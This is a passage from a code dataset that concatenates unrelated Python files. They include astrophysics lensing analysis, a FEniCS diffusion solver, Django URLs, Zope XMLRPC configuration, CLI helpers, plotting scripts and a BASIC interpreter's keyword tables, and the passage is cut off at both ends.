prototype_\n","sub_path":"mindsoft/py/art.py","file_name":"art.py","file_ext":"py","file_size_in_byte":3987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"499162897","text":"from __future__ import division\nimport os, sys, glob, logging\nimport numpy as np\nimport pickle\nimport pandas as pd\nimport h5py\nfrom astropy import units as u\nfrom astropy import constants as const\nfrom astropy.cosmology import LambdaCDM\nimport cfuncs as cf\nimport LPP_funcs as lppf\nsys.path.insert(0, '/cosma5/data/dp004/dc-beck3/lib/')\nimport read_hdf5\nimport readlensing as rf\nimport readsnap\nsys.path.insert(0, '/cosma5/data/dp004/dc-beck3/StrongLensing/LensingMap/')\n#import lm_funcs_mp # Why do I need to load this???\nimport LM_main\nfrom LM_main import plant_Tree # Why do I need to load this???\n\n\n################################################################################\n# Set up logging and parse arguments\nlogging.basicConfig(format='%(asctime)s [%(levelname)s] %(message)s',\n level=logging.DEBUG, datefmt='%H:%M:%S')\n\n################################################################################\n# Load Simulation Specifications\nLCSettings = '/cosma5/data/dp004/dc-beck3/StrongLensing/shell_script/LCSettings.txt'\nsim_dir, sim_phy, sim_name, sim_col, hf_dir, hfname, lc_dir, dd, HQ_dir = rf.Simulation_Specs(LCSettings)\n\n################################################################################\n# Run through simulations\nfor sim in range(len(sim_dir)):\n # File for lensing-maps\n lm_dir = HQ_dir+'/LensingMap/'+sim_phy[sim]+hfname+'/'+sim_name[sim]+'/'\n # Simulation Snapshots\n snapfile = sim_dir[sim]+'snapdir_%03d/snap_%03d'\n\n # Units of Simulation\n scale = rf.simulation_units(sim_dir[sim])\n\n # Cosmological Parameters\n s = read_hdf5.snapshot(45, sim_dir[sim])\n cosmo = LambdaCDM(H0=s.header.hubble*100,\n Om0=s.header.omega_m,\n Ode0=s.header.omega_l)\n h = s.header.hubble\n \n HF_ID=[]; HaloLCID=[]; SrcID=[]; Mdyn=[]; Mlens=[];\n # Run through LensingMap output files \n #for lm_file in glob.glob(lm_dir+'LM_1_Proc_*_0.pickle'):\n for lm_file in glob.glob(lm_dir+'LM_new_GR.pickle'):\n # Load LensingMap Contents\n LM = pickle.load(open(lm_file, 'rb'))\n \n previous_snapnum = -1\n print('::::::::::', len(LM['HF_ID'][:]))\n # Run through lenses\n for ll in range(len(LM['Halo_ID'])):\n # Load Lens properties\n HaloHFID = int(LM['HF_ID'][ll]) #int(LM['Rockstar_ID'][ll])\n HaloPosBox = LM['HaloPosBox'][ll]\n HaloVel = LM['HaloVel'][ll]\n snapnum = LM['snapnum'][ll]\n zl = LM['zl'][ll]\n\n # Only load new particle data if lens is at another snapshot\n if (previous_snapnum != snapnum):\n rks_file = '/cosma5/data/dp004/dc-beck3/rockstar/'+sim_phy[sim]+ \\\n sim_name[sim]+'/halos_' + str(snapnum)+'.dat'\n hdata = pd.read_csv(rks_file, sep='\\s+', skiprows=np.arange(1, 16))\n # Load Particle Properties\n # 0 Gas, 1 DM, 4 Star[Star=+time & Wind=-time], 5 BH\n snap = snapfile % (snapnum, snapnum)\n #gas_pos = readsnap.read_block(snap, 'POS ', parttype=0)*scale\n #gas_vel = readsnap.read_block(snap, 'VEL ', parttype=0)\n star_pos = readsnap.read_block(snap, 'POS ', parttype=4)*scale\n star_age = readsnap.read_block(snap, 'AGE ', parttype=4)\n star_vel = readsnap.read_block(snap, 'VEL ', parttype=4)\n star_mass = readsnap.read_block(snap, 'MASS', parttype=4)*1e10/h\n star_pos = star_pos[star_age >= 0]\n star_vel = star_vel[star_age >= 0]\n star_mass = star_mass[star_age >= 0]\n del star_age\n #star_pos = np.vstack((star_pos, gas_pos))\n #del gas_pos\n #star_vel = np.vstack((star_vel, gas_vel))\n #del gas_vel\n previous_snapnum = snapnum\n\n # Load Halo Properties\n indx = hdata['#ID'][hdata['#ID'] == HaloHFID].index[0]\n Vrms = hdata['Vrms'][indx]*(u.km/u.s) #[km/s]\n Rvir = hdata['Rvir'][indx]*u.kpc\n #Rhalfmass = hdata['Halfmass_Radius'][indx]*u.kpc\n #hpos = pd.concat([df['X']*scale, df['Y']*scale, df['Z']*scale],\n # axis=1).loc[[indx]].values\n hvel = pd.concat([hdata['VX'], hdata['VY'], hdata['VZ']],\n axis=1).loc[[indx]].values\n epva = pd.concat([hdata['A[x]'], hdata['A[y]'], hdata['A[z]']],\n axis=1).loc[[indx]].values\n epvb = pd.concat([hdata['B[x]'], hdata['B[y]'], hdata['B[z]']],\n axis=1).loc[[indx]].values\n epvc = pd.concat([hdata['C[x]'], hdata['C[y]'], hdata['C[z]']],\n axis=1).loc[[indx]].values\n \n ####----> Add keys <----####\n ## Stellar Half Mass Radius\n Rshm = cf.call_stellar_halfmass(star_pos[:, 0], star_pos[:, 1],\n star_pos[:, 2], HaloPosBox[0],\n HaloPosBox[1], HaloPosBox[2],\n star_mass, Rvir.to_value('Mpc'))*u.Mpc\n if Rshm == 0.0:\n continue\n \n ## Stellar Half Light Radius\n ### https://arxiv.org/pdf/1804.04492.pdf $3.3\n\n ## Mass dynamical\n star_indx = lppf.check_in_sphere(HaloPosBox, star_pos,\n Rshm.to_value('kpc'))\n if len(star_indx[0]) > 100:\n slices = np.vstack((epva/np.linalg.norm(epva),\n epvb/np.linalg.norm(epvb),\n epvc/np.linalg.norm(epvc)))\n mdynn = lppf.mass_dynamical(Rshm, star_vel[star_indx],\n HaloPosBox, hvel[0], slices)\n else:\n continue\n if np.isnan(mdynn):\n continue\n\n ## Mass strong lensing\n # Run through sources\n for ss in range(len(LM['Sources']['Src_ID'][ll])):\n n_imgs = len(LM['Sources']['mu'][ll][ss])\n #print('The source has %d lensed images' % n_imgs,\n # LM['Sources']['theta'][ll][ss])\n if n_imgs == 1:\n continue\n zs = LM['Sources']['zs'][ll][ss]\n Rein = LM['Sources']['Rein'][ll][ss]*u.kpc\n if Rein == 0.0:\n continue\n #print('-> \\t The Einstein Radius is: %.3f' % Rein.to_value('kpc'))\n Mlens.append(lppf.mass_lensing(Rein, zl, zs, cosmo))\n Mdyn.append(mdynn)\n HF_ID.append(HaloHFID)\n HaloLCID.append(LM['Halo_ID'][ll])\n SrcID.append(LM['Sources']['Src_ID'][ll][ss])\n Mlens = np.asarray(Mlens)\n Mdyn = np.asarray(Mdyn)\n HF_ID = np.asarray(HF_ID)\n HaloLCID = np.asarray(HaloLCID)\n SrcID = np.asarray(SrcID)\n lpp_dir = HQ_dir+'/LensingPostProc/'+sim_phy[sim]+hfname+'/'\n hf = h5py.File(lpp_dir+'LPP_'+sim_name[sim]+'_Rshm_all.h5', 'w')\n hf.create_dataset('Halo_HF_ID', data=HF_ID) # Rockstar ID\n hf.create_dataset('Halo_LC_ID', data=HaloLCID)\n hf.create_dataset('Src_ID', data=SrcID)\n hf.create_dataset('MassDynamical', data=Mdyn)\n hf.create_dataset('MassLensing', data=Mlens)\n hf.close()\n ## Magnitude of SNIa multiple images\n # Run through sources\n #for ss in range(len(LM['Sources']['Src_ID'][ll])):\n # zs = LM['Sources']['zs'][ll][ss]\n # Rein = LM['Sources']['Rein'][ll][ss]*u.kpc\n # t = LM['Sources']['delta_t'][ll][ss]\n # f = LM['Sources']['mu'][ll][ss]\n # indx_max = np.argmax(t)\n # t -= t[indx_max]\n # t = np.absolute(t[t != 0])\n\n# # Run through sources\n# for ss in range(len(LM['Sources']['Src_ID'][ll])):\n# zs = LM['Sources']['zs'][ll][ss]\n# Rein = LM['Sources']['Rein'][ll][ss]*u.kpc\n# Mlens = mass_lensing(Rein, zl, zs, cosmo)\n# Star_indx = check_in_sphere(HaloPosBox, Star_pos, Rhalfmass.to_value('kpc'))\n# t = LM['Sources']['delta_t'][ll][ss]\n# f = LM['Sources']['mu'][ll][ss]\n# indx_max = np.argmax(t)\n# t -= t[indx_max]\n# t = np.absolute(t[t != 0])\n# for ii in range(len(t)):\n# rank.append(ii)\n# delta_t.append(t[ii])\n","sub_path":"LensingPostProc/LPP_main.py","file_name":"LPP_main.py","file_ext":"py","file_size_in_byte":8516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"581136497","text":"numero = int(input(\"Digite um número inteiro:\"))\n\ni = 1\nj = 0\nwhile i <= numero:\n if numero % i == 0:\n i = i + 1\n j = j + 1\n if i >= (numero/2):\n i = numero\n i = i + 1\n j = j + 1\n i = i + 1\n \nif j == 2:\n print(\"primo\")\nelse:\n print(\"não primo\")\n","sub_path":"Parte1/primalidade.py","file_name":"primalidade.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"32759058","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\nfrom django.conf.urls import include, url\nfrom django.contrib import admin\nfrom django.conf import settings\nfrom django.conf.urls.static import static\nfrom main_page import views as main_page_views\nfrom shop import views as shop_views\n\n\nurlpatterns = [\n url(r'^admin/', include(admin.site.urls)),\n url(r'^account/', include('account.urls')),\n url(r'^blog/', include('blog.urls', namespace='blog', app_name='blog')),\n url(r'^rent/', include('shop.urls', namespace='shop')),\n url(r'^rent/', shop_views.product_list, name='shop'),\n url(r'^cart/', include('cart.urls', namespace='cart')),\n url(r'^ckeditor/', include('ckeditor_uploader.urls')),\n url(r'^contacts/', main_page_views.contacts, name='contacts'),\n url(r'^success/', main_page_views.successView, name='success'),\n url(r'^$', main_page_views.main_page, name='main_page'),\n url(r'^about/', main_page_views.about, name='about'),\n url(r'^terms-conditions/', main_page_views.terms_conditions, name='terms_conditions'),\n url(r'^privacy-policy/', main_page_views.privacy_policy, name='privacy_policy'),\n url(r'^organization-view/', main_page_views.organization_view, name='organization_view'),\n url(r'^transfer/', main_page_views.transfer, name='transfer'),\n]\nif settings.DEBUG:\n urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)\n urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n\nhandler404 = main_page_views.error_404\nhandler500 = main_page_views.error_500","sub_path":"mysite/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"335321977","text":"# -*- coding: utf-8 -*-\nimport time\nimport random\nimport math\n\npeople = [(\"Seymour\", \"Bos\"),(\"Franny\", \"DAL\"), (\"Zooey\", \"CAK\"), (\"Walt\", \"MIA\"), (\"Buddy\", \"ORD\"), (\"Les\", \"OWA\")]\n\n#ニューヨーク\ndestination = \"LGA\"\n\nflights = {}\n\nfor line in file(\"schedule.txt\"):\n origin,dest,depart,arrive,price = line.strip().split(\",\")\n flights.setdefault((origin, dest),[])\n\n flights[(origin, dest)].append((depart,arrive, int(price)))\n\n\ndef getminutes(t):\n x = time.strptime(t, \"%H:%M\")\n return x[3] * 60 + x[4]\n\n","sub_path":"chapter5/optimization.py","file_name":"optimization.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"442001496","text":"# -*- coding: utf-8 -*-\n\nfrom .input_argument import InputArgument\nfrom .input_option import InputOption\n\n\ndef argument(name, description='',\n required=False, default=None, is_list=False,\n validator=None):\n \"\"\"\n Helper function to create a new argument.\n\n :param name: The name of the argument.\n :type name: str\n\n :param description: A helpful description of the argument.\n :type description: str\n\n :param required: Whether the argument is required or not.\n :type required: bool\n\n :param default: The default value of the argument.\n :type default: mixed\n\n :param is_list: Whether the argument should be a list or not.\n :type list: bool\n\n :param validator: An optional validator.\n :type validator: Validator or str\n\n :rtype: InputArgument\n \"\"\"\n mode = InputArgument.OPTIONAL\n if required:\n mode = InputArgument.REQUIRED\n\n if is_list:\n mode |= InputArgument.IS_LIST\n\n return InputArgument(name, mode, description, default, validator)\n\n\ndef option(name, shortcut=None, description='',\n flag=True, value_required=None, is_list=False,\n default=None, validator=None):\n \"\"\"\n Helper function to create an option.\n\n :param name: The name of the option\n :type name: str\n\n :param shortcut: The shortcut (Optional)\n :type shortcut: str or None\n\n :param description: The description of the option.\n :type description: str\n\n :param flag: Whether the option is a flag or not.\n :type flag: bool\n\n :param value_required: Whether a value is required or not.\n :type value_required: bool or None\n\n :param is_list: Whether the option is a list or not.\n :type is_list: bool\n\n :param default: The default value.\n :type default: mixed\n\n :param validator: An optional validator.\n :type validator: Validator or str\n\n :rtype: InputOption\n \"\"\"\n mode = InputOption.VALUE_IS_FLAG\n\n if value_required is True:\n mode = InputOption.VALUE_REQUIRED\n elif value_required is False:\n mode = InputOption.VALUE_OPTIONAL\n\n if is_list:\n mode |= InputOption.VALUE_IS_LIST\n\n return InputOption(\n name, shortcut, mode, description,\n default, validator\n )\n\n","sub_path":"venv/lib/python3.7/site-packages/cleo/inputs/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"653424054","text":"import matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation, writers\nfrom scipy import *\nfrom scipy import integrate\nfrom scipy.integrate import ode, odeint\nimport numpy as np\n\nplt.close()\nfig,ax = plt.subplots(1,1,figsize=(8,8))\n\n#Vector field\nxmin,xmax = 0,8\nymin,ymax = -2,2\ngridpoints = 500\nI = .9\nalpha = .05\nx1,y1 = np.linspace(xmin,xmax,gridpoints),np.linspace(ymin,ymax,gridpoints)\nX,Y = np.meshgrid(x1,y1 )\nU = Y\nV = I - np.sin(X) - alpha*Y\n\n# Starting values\nstart = [[2,1],[4,-1]]\n\n#Plotting. \nstrm = ax.streamplot( X,Y,U, V,\n linewidth=.2)\nstrmS = ax.streamplot(x1,y1, U, V,\n start_points=start,\n color=\"crimson\",\n linewidth=.5)\nax.set_facecolor(plt.cm.gray(.95))\nax.set_title(r'Josephson Hysteresis for $ I = {0}, \\alpha = {1}$ in Strogatz 8.5'.format(I, alpha))\nax.set_xticks([0., .5*np.pi, np.pi, 1.5*np.pi, 2*np.pi])\nax.set_xticklabels([\"$0$\", r\"$\\frac{1}{2}\\pi$\",\n r\"$\\pi$\", r\"$\\frac{3}{2}\\pi$\", r\"$2\\pi$\"])\n\nax.set_xlim([xmin,xmax])\nax.set_ylim([ymin,ymax])\nax.set_xlabel(r\"$\\phi$\")\nax.set_ylabel(r\"$y$\")\nax.grid(True)\n#ax.legend()\nplt.show()\n","sub_path":"Nonlinear_Dynamics_Strogatz/work/st_2/Strogatz_8_5_Josephson.py","file_name":"Strogatz_8_5_Josephson.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"298158648","text":"import tensorflow as tf\nimport os\nimport collections\n\nstrides=6\nimage_name_suffix=256\nimage_num_per_sample=2\n\n\n\ndef _convert_to_tfrecord_paths(data_list):\n new_list = list()\n\n for day_path in data_list:\n tf_name = os.path.basename(day_path) + '-paths' + \"I\" + str(image_num_per_sample) + \"S\" + str(\n strides) + str(\n image_name_suffix) + \".tfrecords\"\n new_list.append(os.path.join(day_path, tf_name))\n\n return new_list\n\n\nprint(\"reading train_list.out\")\nwith open('train_list_hard2.out') as f:\n train_list = sorted(_convert_to_tfrecord_paths(f.read().splitlines()))\n\nprint(\"reading validation_list.out\")\nwith open('validation_list.out') as f:\n validation_list = sorted(_convert_to_tfrecord_paths(f.read().splitlines()))\n\nprint(\"reading test_list.out\")\nwith open('test_list.out') as f:\n test_list = sorted(_convert_to_tfrecord_paths(f.read().splitlines()))\n\n\nlabels_dict={}\n\nlabel_key_list = ['VF', 'IRR0', 'IRR1', 'IRR2', 'IRR3', 'IRR4', 'IRR5', 'IRR6', 'IRR7', 'IRR8', 'IRR9', 'IRR10', 'MPC0',\n 'MPC1', 'MPC2', 'MPC3', 'MPC4', 'MPC5', 'MPC6', 'MPC7', 'MPC8', 'MPC9', 'MPC10', 'SC0', 'SC1', 'SC2',\n 'SC3', 'SC4', 'SC5', 'SC6', 'SC7', 'SC8', 'SC9', 'SC10', 'CH0', 'CH1', 'CH2',\n 'CH3', 'CH4', 'CH5', 'CH6', 'CH7', 'CH8', 'CH9', 'CH10', 'B','C']\n\nfor l in label_key_list:\n labels_dict[l] = tf.FixedLenFeature([], tf.float32)\n\nfor i in range(image_num_per_sample):\n labels_dict['image_path' + str(i)] = tf.FixedLenFeature([], tf.string)\n\nprint(labels_dict)\n\nfilename_queue = tf.train.string_input_producer(train_list, num_epochs=1,\n shuffle=False)\n\ntfreader = tf.TFRecordReader()\nkey,output= tfreader.read(filename_queue)\n\nfeatures_list = tf.parse_single_example(output, features=labels_dict)\n\nlabels = list()\n\nfor feature in labels_dict.keys():\n # print(feature,decoded_features[feature])\n labels.append(features_list[feature])\n\n#label_tensor = tf.stack(labels)\n\ninit_op = tf.group(tf.global_variables_initializer(), tf.local_variables_initializer())\n\ngpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.1)\nconfig = tf.ConfigProto(log_device_placement=False,gpu_options = gpu_options)\n\nwith tf.Session(config=config) as sess:\n sess.run(init_op)\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord)\n c = collections.Counter()\n change_list = list()\n i = 0\n try:\n\n\n\n while i<714327:\n l = sess.run(labels)\n changes = int(l[-3])\n\n\n if changes > 7:\n print(l)\n\n change_list.append(changes)\n\n i+=1\n if i%10000==0:\n print(i)\n\n\n finally:\n print(i)\n c.update(change_list)\n print(dict(c))\n coord.request_stop()\n\n coord.join(threads)\n\n\n","sub_path":"abb_supervised_networks/regression/set_statistics.py","file_name":"set_statistics.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"593708555","text":"\"\"\"\nFenics program on an attempt to create a way to model concentration dependent\ndiffusivity. This will be a NON-LINEAR solver\n\"\"\"\n\nfrom __future__ import print_function\nfrom fenics import *\nimport fenics\nimport numpy\nfrom subprocess import call\n\nT = 3600.0\nnum_steps = 300\ndt = T/num_steps\n\n# Define the non-linear coefficient Diff\ndef Diff(u):\n\t\"Return nonlinear coefficient\"\n\t#return 5.0E-6 * (1.0 - 0.36*u + ((0.36*u)**2.0)/2.0)\n\treturn 6.2E-6 * fenics.exp(-0.19*u)\n\n\n\n# Create mesh and define function space\nnx = 96\nny = 96\nmesh = RectangleMesh(Point(-1,0), Point(1,2),nx,ny)\nV = FunctionSpace(mesh, 'P', 1)\n\n# Define the tolerance of the boundary condition\ntol = 1.0E-14\n\n# Define the boundary condition\n# Including mixed Neumann (0 at boundaries) and Dirichlet conditions\nu_D = Expression('2.9 * (1 - exp(-30000 * t))', degree=2, t=0) # POSSIBLE ISSUE IN DEGREE\n\ndef boundary_D(x, on_boundary):\n\tif on_boundary:\n\t\tif near(x[1], 0, tol) and near(x[0],0,0.8):\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\telse:\n\t\treturn False\n\n\nbc = DirichletBC(V, u_D, boundary_D)\n\n# Define the initial value\nu_n = interpolate(u_D, V)\n\n\n# Define the variational problem\nu = Function(V) # Note: NOT TRIALFUNCTION!\nv = TestFunction(V)\nf = Constant(0.0)\n\n#a = (u*v + dt*Diff(u)*dot(grad(u), grad(v)))*dx\n#L = (u_n + dt*f)*v*dx\nF = (u*v + dt*Diff(u)*dot(grad(u),grad(v)))*dx - (u_n + dt*f)*v*dx\n\n#F = (u*v + dt*1.0*dot(grad(u), grad(v)))*dx - (u_n + dt*f)*v*dx\n#a = (u*v + dt*diff*dot(grad(u), grad(v)))*dx\n#L = (u_n + dt*f)*v*dx\n\n# Create VTK file for saving solution\nvtkfile = File('dataDiffFConc/solution.pvd')\n\n# Time stepping\n#u = Function(V)\nt = 0.0\n\nfor n in range(num_steps):\n\n\t# Update current time\n\tt += dt\n\tu_D.t = t\n\n\t# Compute solution\n\tsolve(F == 0, u, bc)\n\n\t# Save to file and plot solution\n\tvtkfile << (u,t)\n\tprint(u(0.1,0.11))\n\n\t# Print time\n\tprint('t= %2.f' % t)\n\n\t# Update previous solution\n\tu_n.assign(u)\n\n","sub_path":"NonlinearD/DiffFConc.py","file_name":"DiffFConc.py","file_ext":"py","file_size_in_byte":1907,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"382778434","text":"##############################################################################\n#\n# Copyright (c) 2001, 2002 Zope Foundation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"XMLRPC configuration code\"\"\"\nfrom zope.component.interface import provideInterface\nfrom zope.component.zcml import handler\nfrom zope.configuration.exceptions import ConfigurationError\nfrom zope.interface import Interface\nfrom zope.publisher.interfaces.xmlrpc import IXMLRPCRequest\nfrom zope.security.checker import Checker\nfrom zope.security.checker import CheckerPublic\nfrom zope.security.checker import getCheckerForInstancesOf\n\nfrom zope.app.publisher.xmlrpc import MethodPublisher\n\n\ndef view(_context, for_=None, interface=None, methods=None,\n class_=None, permission=None, name=None):\n\n interface = interface or []\n methods = methods or []\n\n # If there were special permission settings provided, then use them\n if permission == 'zope.Public':\n permission = CheckerPublic\n\n require = {}\n for attr_name in methods:\n require[attr_name] = permission\n\n if interface:\n for iface in interface:\n for field_name in iface:\n require[field_name] = permission\n _context.action(\n discriminator=None,\n callable=provideInterface,\n args=('', for_)\n )\n\n # Make sure that the class inherits MethodPublisher, so that the views\n # have a location\n if class_ is None:\n class_ = original_class = MethodPublisher\n else:\n original_class = class_\n class_ = type(class_.__name__, (class_, MethodPublisher), {})\n\n if name:\n # Register a single view\n\n if permission:\n checker = Checker(require)\n\n def proxyView(context, request, class_=class_, checker=checker):\n view = class_(context, request)\n # We need this in case the resource gets unwrapped and\n # needs to be rewrapped\n view.__Security_checker__ = checker\n return view\n\n class_ = proxyView\n class_.factory = original_class\n else:\n # No permission was defined, so we defer to the checker\n # of the original class\n def proxyView(context, request, class_=class_):\n view = class_(context, request)\n view.__Security_checker__ = getCheckerForInstancesOf(\n original_class)\n return view\n class_ = proxyView\n class_.factory = original_class\n\n # Register the new view.\n _context.action(\n discriminator=('view', for_, name, IXMLRPCRequest),\n callable=handler,\n args=('registerAdapter',\n class_, (for_, IXMLRPCRequest), Interface, name,\n _context.info)\n )\n else:\n if permission:\n checker = Checker({'__call__': permission})\n else:\n raise ConfigurationError(\n \"XML/RPC view has neither a name nor a permission. \"\n \"You have to specify at least one of the two.\")\n\n for name in require:\n # create a new callable class with a security checker;\n cdict = {'__Security_checker__': checker,\n '__call__': getattr(class_, name)}\n new_class = type(class_.__name__, (class_,), cdict)\n _context.action(\n discriminator=('view', for_, name, IXMLRPCRequest),\n callable=handler,\n args=('registerAdapter',\n new_class, (for_, IXMLRPCRequest), Interface, name,\n _context.info)\n )\n\n # Register the used interfaces with the site manager\n if for_ is not None:\n _context.action(\n discriminator=None,\n callable=provideInterface,\n args=('', for_)\n )\n","sub_path":"src/zope/app/publisher/xmlrpc/metaconfigure.py","file_name":"metaconfigure.py","file_ext":"py","file_size_in_byte":4407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"441936385","text":"COL_LEN = 64\nMAX_LINES = 65536\n\nOPERATORS = [ \n { \"char\": \"+\", \"type\": \"BINARY\" },\n { \"char\": \"-\", \"type\": \"UNARY\" },\n { \"char\": \"/\", \"type\": \"BINARY\" },\n { \"char\": \"*\", \"type\": \"BINARY\" },\n { \"char\": \"^\", \"type\": \"BINARY\" },\n { \"char\": \"%\", \"type\": \"BINARY\" },\n { \"char\": \"=\", \"type\": \"EQUALS\" },\n]\n\nPUNCTUATION = [ \n { \"char\": \"(\", \"type\": \"LEFT_PAREN\" },\n { \"char\": \")\", \"type\": \"RIGHT_PAREN\" },\n { \"char\": \"\\\"\", \"type\": \"QUOTATION\" },\n { \"char\": \",\", \"type\": \"COMMA\" },\n #{ \"char\": \";\", \"type\": \"SEMICOLON\" },\n #{ \"char\": \":\", \"type\": \"COLON\" },\n]\n\nKEYWORDS = [\n { \"word\": \"ABS\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"AND\", \"type\": \"BINARY\" }, # DONE\n { \"word\": \"ASC\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"BIN$\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"CAT$\", \"type\": \"TWO-PARAM\" }, # DONE\n { \"word\": \"CHR$\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"CLR\", \"type\": \"NO-PARAM\" }, # DONE\n { \"word\": \"COS\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"DEF\", \"type\": \"FUNC-DEC\" }, # DONE\n { \"word\": \"DIM\", \"type\": \"ARR-DEC\" },\n { \"word\": \"END\", \"type\": \"NO-PARAM\" }, # DONE\n { \"word\": \"EQ\", \"type\": \"BINARY\" }, # DONE\n { \"word\": \"EXP\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"FN\", \"type\": \"FUNCTION\" }, # DONE\n { \"word\": \"FOR\", \"type\": \"FOR-DEF\" },\n { \"word\": \"GE\", \"type\": \"BINARY\" }, # DONE\n { \"word\": \"GOSUB\", \"type\": \"GO-DEF\" },\n { \"word\": \"GOTO\", \"type\": \"GO-DEF\" }, # DONE\n { \"word\": \"GT\", \"type\": \"BINARY\" }, # DONE\n { \"word\": \"HEX$\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"IF\", \"type\": \"IF-DEF\" }, # DONE\n { \"word\": \"INT\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"LE\", \"type\": \"BINARY\" }, # DONE\n { \"word\": \"LEFT$\", \"type\": \"TWO-PARAM\" }, # DONE\n { \"word\": \"LEN\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"LET\", \"type\": \"VAR-DEC\" }, # DONE\n { \"word\": \"LT\", \"type\": \"BINARY\" }, # DONE\n { \"word\": \"LOG\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"MID$\", \"type\": \"THREE-PARAM\" }, # DONE\n { \"word\": \"ENDFOR\", \"type\": \"FOR-END\" },\n { \"word\": \"NE\", \"type\": \"BINARY\" }, # DONE\n { \"word\": \"NOT\", \"type\": \"UNARY\" }, # DONE\n { \"word\": \"OR\", \"type\": \"BINARY\" }, # DONE\n { \"word\": \"PI\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"PRINT\", \"type\": \"PRINT\" }, # DONE\n { \"word\": \"PRINTL\", \"type\": \"PRINT\" }, # DONE\n { \"word\": \"REM\", \"type\": \"COMMENT\" }, # DONE\n { \"word\": \"RETURN\", \"type\": \"NO-PARAM\" },\n { \"word\": \"RIGHT$\", \"type\": \"TWO-PARAM\" }, # DONE\n { \"word\": \"RND\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"SGN\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"SIN\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"SPC$\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"SQR\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"STEP\", \"type\": \"FOR-STEP\" },\n { \"word\": \"STR$\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"TAN\", \"type\": \"ONE-PARAM\" }, # DONE\n { \"word\": \"THEN\", \"type\": \"THEN\" }, # DONE\n { \"word\": \"TO\", \"type\": \"FOR-TO\" },\n { \"word\": \"XOR\", \"type\": \"BINARY\" } # DONE\n]\n\nGRAMMAR_RULES = { \n \"ARR-DEC\": [\"IDENTIFIER\", \"ARGUMENTS\"],\n \"FOR-DEF\": [\"IDENTIFIER\", \"EQUALS\", \"EXPRESSION\", \"FOR-TO\", \"EXPRESSION\", \"FOR-STEP\", \"EXPRESSION\"],\n \"FOR-END\": [],\n \"NO-PARAM\": [],\n \"ONE-PARAM\": [\"ARGUMENTS\"],\n \"TWO-PARAM\": [\"ARGUMENTS\"],\n \"THREE-PARAM\": [\"ARGUMENTS\"],\n \"FUNC-DEC\": [\"FUNCTION\", \"IDENTIFIER\", \"LEFT_PAREN\", \"PARAMETERS\", \"RIGHT_PAREN\", \"EQUALS\", \"EXPRESSION\"],\n \"GO-DEF\": [\"EXPRESSION\"],\n \"VAR-DEC\": [\"IDENTIFIER\", \"EQUALS\", \"EXPRESSION\"],\n \"IDENTIFIER\": {\n \"EQUALS\": [\"EXPRESSION\"],\n \"LEFT_PAREN\": [\"ARGUMENTS\"],\n },\n \"IF-DEF\": [\"EXPRESSION\", \"THEN\", \"EXPRESSION\"],\n \"PRINT\": [\"STRING\"],\n}\n\nEXPRESSION_START = [\n \"IDENTIFIER\", \"LITERAL\", \"LEFT_PAREN\", \"UNARY\", \"ONE-PARAM\", \"TWO-PARAM\", \"THREE-PARAM\", \n \"NO-PARAM\", \"QUOTATION\"\n]\n\nFUNCTION_RULES = {\n \"ABS\": [\"NUMERIC\"],\n \"ASC\": [\"STRING\"],\n \"BIN$\": [\"NUMERIC\"],\n \"CAT$\": [\"ANY\", \"ANY\"],\n \"CHR$\": [\"NUMERIC\"],\n \"CLR\": [],\n \"COS\": [\"NUMERIC\"],\n \"END\": [],\n \"EXP\": 